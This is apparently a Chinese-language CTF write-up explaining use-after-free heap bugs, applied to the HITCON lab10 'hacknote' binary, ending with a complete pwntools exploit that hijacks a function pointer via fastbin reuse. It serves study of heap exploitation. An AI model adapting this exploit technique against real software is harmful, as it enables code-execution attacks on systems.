UAF原理:
UAF就是Use After Free,顾名思义,就是在一个堆被释放后再次被使用,一般来说有三种情况:
- 堆被释放后,对应的指针被设置为null,这时再使用它程序就会崩溃
- 堆被释放后,对应的指针没有被设置为null,在它下次被使用之前没有代码对这块堆进行修改,那么程序有可能可以正常运行
- 堆被释放后,其对应的指针没有被设置为null,但是它在下次使用前,有代码对这块堆进行了修改,当程序再次使用这个堆内存时,就可能会出现奇怪的问题
一般的 UAF漏洞指的是后两种情况,我们可以利用的也只有后面两种情况
UAF漏洞利用过程:
- 申请一段空间,并将其释放,释放后的指针不清空,将这个指针简称为p1
- 申请空间p2, 由于malloc分配过程原则,使得p2指向刚刚释放的p1的空间,构造特殊的数据将这段内存空间覆盖
- 利用p1,一般会多出一个函数的指针,由于之前已经使用p2将p1的数据给覆盖了,所以此时p1上的数据是我们可以控制的,就存在劫持函数流的可能
下面拿HITCON的lab10做例子
程序是32的一个菜单程序
有4个选项: add,delete,print ,exit

查看ida反编译代码:

print_note_content是puts函数的一个指针:

程序创建note的时候,会先分配8byte的空间来存放print_note_content和content的指针,然后根据输入的size的大小分配空间给content
示意图如下:

print_note函数:

delete函数:

可以发现它只是free了内存,但是并没有清空,很显然,这里存在Use After Free的情况
假设我们执行程序如下:
def create(size,content)
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
则程序中会分配4个堆块

free掉后因为它们的大小位于fastbin,所以会被放到fastbin中

此时如果我们再申请一个note2,大小为0x8的话,根据malloc的分配原则 ,它会将最近free的堆块优先分配,它先会给note分配8个字节的空间来存放指针,这个堆块是note1free后的堆块,接着它会将note0存放指针的堆块分配给note2的content,这个时候如果我们将note0的指针覆盖成别的函数地址,再通过print_note调用的话就可以劫持函数执行流了

所以解题思路:
- 先create两个note,content size大小不为0x8就行了
- 然后将这两个note delete掉
- 再创建一个note2,大小为0x8,content内容为magic函数
- 调用print_note执行打印note0的内容,就可以执行magic函数了
附上exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
p = process('./hacknote')
elf = ELF('./hacknote')
magic = 0x08048986
def create(size,content):
p.recvuntil(":")
p.sendline(str(1))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)
def delete(idx):
p.recvuntil(":")
p.send(str(2))
p.recvuntil(":")
p.sendline(str(idx))
def print_note(idx):
p.recvuntil(":")
p.sendline(str(3))
p.recvuntil(":")
p.sendline(str(idx))
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
create(8,p32(magic))
print_note(0)
p.interactive()
网友评论